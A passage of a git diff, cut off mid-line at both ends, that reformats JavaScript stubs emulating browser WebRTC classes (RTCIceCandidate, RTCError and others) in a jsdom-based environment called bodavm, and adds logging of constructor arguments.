bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "iceTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDtlsTransport', "getRemoteCertificates", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteCertificates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDtlsTransport'].prototype, "RTCDtlsTransport", "getRemoteCertificates", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCEncodedAudioFrame.js b/env_xbb_lastest_jsdom/env/RTCEncodedAudioFrame.js index 1f71c310..4f597ed8 100644 --- a/env_xbb_lastest_jsdom/env/RTCEncodedAudioFrame.js +++ b/env_xbb_lastest_jsdom/env/RTCEncodedAudioFrame.js @@ -1,7 +1,51 @@ -// RTCEncodedAudioFrame对象 -bodavm.memory.globalobj['RTCEncodedAudioFrame'] = function RTCEncodedAudioFrame(){if (!(this instanceof RTCEncodedAudioFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedAudioFrame'], "RTCEncodedAudioFrame"); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "getMetadata", {configurable:true, enumerable:true, writable:true, value:function getMetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "getMetadata", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "toString", arguments)}},'prototype'); +// RTCEncodedAudioFrame对象 + +bodavm.memory.globalobj['RTCEncodedAudioFrame'] = function RTCEncodedAudioFrame() { + console.log_copy('RTCEncodedAudioFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCEncodedAudioFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedAudioFrame'], "RTCEncodedAudioFrame"); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "getMetadata", { + configurable: true, + enumerable: true, + writable: true, + value: function getMetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "getMetadata", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedAudioFrame', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedAudioFrame'].prototype, "RTCEncodedAudioFrame", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCEncodedVideoFrame.js b/env_xbb_lastest_jsdom/env/RTCEncodedVideoFrame.js index d12e5d8d..1db3abe2 100644 --- a/env_xbb_lastest_jsdom/env/RTCEncodedVideoFrame.js +++ b/env_xbb_lastest_jsdom/env/RTCEncodedVideoFrame.js @@ -1,8 +1,59 @@ -// RTCEncodedVideoFrame对象 -bodavm.memory.globalobj['RTCEncodedVideoFrame'] = function RTCEncodedVideoFrame(){if (!(this instanceof RTCEncodedVideoFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedVideoFrame'], "RTCEncodedVideoFrame"); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_get", arguments)}, set:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "getMetadata", {configurable:true, enumerable:true, writable:true, value:function getMetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "getMetadata", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "toString", arguments)}},'prototype'); +// RTCEncodedVideoFrame对象 + +bodavm.memory.globalobj['RTCEncodedVideoFrame'] = function RTCEncodedVideoFrame() { + console.log_copy('RTCEncodedVideoFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCEncodedVideoFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCEncodedVideoFrame'], "RTCEncodedVideoFrame"); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "getMetadata", { + configurable: true, + enumerable: true, + writable: true, + value: function getMetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "getMetadata", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCEncodedVideoFrame', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCEncodedVideoFrame'].prototype, "RTCEncodedVideoFrame", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCError.js b/env_xbb_lastest_jsdom/env/RTCError.js index fc8ca560..efded97f 100644 --- a/env_xbb_lastest_jsdom/env/RTCError.js +++ b/env_xbb_lastest_jsdom/env/RTCError.js @@ -1,11 +1,67 @@ -// RTCError对象 -bodavm.memory.globalobj['RTCError'] = function RTCError(){if (!(this instanceof RTCError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCError': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCError'], "RTCError"); -bodavm.memory.globalobj['RTCError'].prototype.__proto__=bodavm.memory.globalobj['DOMException'].prototype; -bodavm.memory.globalobj['RTCError'].__proto__=bodavm.memory.globalobj['DOMException']; -bodavm.toolsFunc.defineProperty('RTCError', "errorDetail", {configurable:true, enumerable:true, get:function errorDetail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "errorDetail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sdpLineNumber", {configurable:true, enumerable:true, get:function sdpLineNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sdpLineNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "httpRequestStatusCode", {configurable:true, enumerable:true, get:function httpRequestStatusCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "httpRequestStatusCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sctpCauseCode", {configurable:true, enumerable:true, get:function sctpCauseCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sctpCauseCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "receivedAlert", {configurable:true, enumerable:true, get:function receivedAlert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "receivedAlert_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCError', "sentAlert", {configurable:true, enumerable:true, get:function sentAlert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sentAlert_get", arguments)}, set:undefined},'prototype'); +// RTCError对象 + +bodavm.memory.globalobj['RTCError'] = function RTCError() { + console.log_copy('RTCError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCError': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCError'], "RTCError"); +bodavm.memory.globalobj['RTCError'].prototype.__proto__ = bodavm.memory.globalobj['DOMException'].prototype; +bodavm.memory.globalobj['RTCError'].__proto__ = bodavm.memory.globalobj['DOMException']; +bodavm.toolsFunc.defineProperty('RTCError', "errorDetail", { + configurable: true, + enumerable: true, + get: function errorDetail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "errorDetail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sdpLineNumber", { + configurable: true, + enumerable: true, + get: function sdpLineNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sdpLineNumber_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "httpRequestStatusCode", { + configurable: true, + enumerable: true, + get: function httpRequestStatusCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "httpRequestStatusCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sctpCauseCode", { + configurable: true, + enumerable: true, + get: function sctpCauseCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sctpCauseCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "receivedAlert", { + configurable: true, + enumerable: true, + get: function receivedAlert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "receivedAlert_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCError', "sentAlert", { + configurable: true, + enumerable: true, + get: function sentAlert() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCError'].prototype, "RTCError", "sentAlert_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCErrorEvent.js b/env_xbb_lastest_jsdom/env/RTCErrorEvent.js index b079b10c..314e6f82 100644 --- a/env_xbb_lastest_jsdom/env/RTCErrorEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCErrorEvent.js @@ -1,6 +1,27 @@ -// RTCErrorEvent对象 -bodavm.memory.globalobj['RTCErrorEvent'] = function RTCErrorEvent(){if (!(this instanceof RTCErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCErrorEvent'], "RTCErrorEvent"); -bodavm.memory.globalobj['RTCErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCErrorEvent'].prototype, "RTCErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); +// RTCErrorEvent对象 + +bodavm.memory.globalobj['RTCErrorEvent'] = function RTCErrorEvent() { + console.log_copy('RTCErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCErrorEvent'], "RTCErrorEvent"); +bodavm.memory.globalobj['RTCErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCErrorEvent', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCErrorEvent'].prototype, "RTCErrorEvent", "error_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCIceCandidate.js b/env_xbb_lastest_jsdom/env/RTCIceCandidate.js index 8ef77b7a..30379908 100644 --- a/env_xbb_lastest_jsdom/env/RTCIceCandidate.js +++ b/env_xbb_lastest_jsdom/env/RTCIceCandidate.js @@ -1,18 +1,137 @@ -// RTCIceCandidate对象 -bodavm.memory.globalobj['RTCIceCandidate'] = function RTCIceCandidate(){if (!(this instanceof RTCIceCandidate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCIceCandidate': sdpMid and sdpMLineIndex are both null.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceCandidate'], "RTCIceCandidate"); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "candidate", {configurable:true, enumerable:true, get:function candidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "candidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMid", {configurable:true, enumerable:true, get:function sdpMid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMLineIndex", {configurable:true, enumerable:true, get:function sdpMLineIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMLineIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "foundation", {configurable:true, enumerable:true, get:function foundation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "foundation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "component", {configurable:true, enumerable:true, get:function component (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "component_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "priority_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "address", {configurable:true, enumerable:true, get:function address (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "address_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "tcpType", {configurable:true, enumerable:true, get:function tcpType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "tcpType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedAddress", {configurable:true, enumerable:true, get:function relatedAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedPort", {configurable:true, enumerable:true, get:function relatedPort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedPort_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "usernameFragment", {configurable:true, enumerable:true, get:function usernameFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "usernameFragment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceCandidate', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "toJSON", arguments)}},'prototype'); +// RTCIceCandidate对象 + +bodavm.memory.globalobj['RTCIceCandidate'] = function RTCIceCandidate() { + console.log_copy('RTCIceCandidate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCIceCandidate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCIceCandidate': sdpMid and sdpMLineIndex are both null."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceCandidate'], "RTCIceCandidate"); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "candidate", { + configurable: true, + enumerable: true, + get: function candidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "candidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMid", { + configurable: true, + enumerable: true, + get: function sdpMid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMid_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "sdpMLineIndex", { + configurable: true, + enumerable: true, + get: function sdpMLineIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "sdpMLineIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "foundation", { + configurable: true, + enumerable: true, + get: function foundation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "foundation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "component", { + configurable: true, + enumerable: true, + get: function component() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "component_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "priority", { + configurable: true, + enumerable: true, + get: function priority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "priority_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "address", { + configurable: true, + enumerable: true, + get: function address() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "address_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "tcpType", { + configurable: true, + enumerable: true, + get: function tcpType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "tcpType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedAddress", { + configurable: true, + enumerable: true, + get: function relatedAddress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedAddress_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "relatedPort", { + configurable: true, + enumerable: true, + get: function relatedPort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "relatedPort_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "usernameFragment", { + configurable: true, + enumerable: true, + get: function usernameFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "usernameFragment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCIceCandidate', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceCandidate'].prototype, "RTCIceCandidate", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCIceTransport.js b/env_xbb_lastest_jsdom/env/RTCIceTransport.js index e82e6494..2172f99a 100644 --- a/env_xbb_lastest_jsdom/env/RTCIceTransport.js +++ b/env_xbb_lastest_jsdom/env/RTCIceTransport.js @@ -1,16 +1,113 @@ -// RTCIceTransport对象 -bodavm.memory.globalobj['RTCIceTransport'] = function RTCIceTransport(){if (!(this instanceof RTCIceTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCIceTransport'], "RTCIceTransport"); -bodavm.memory.globalobj['RTCIceTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCIceTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCIceTransport', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "role_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "gatheringState", {configurable:true, enumerable:true, get:function gatheringState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "gatheringState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCIceTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCIceTransport'].prototype, "RTCIceTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return 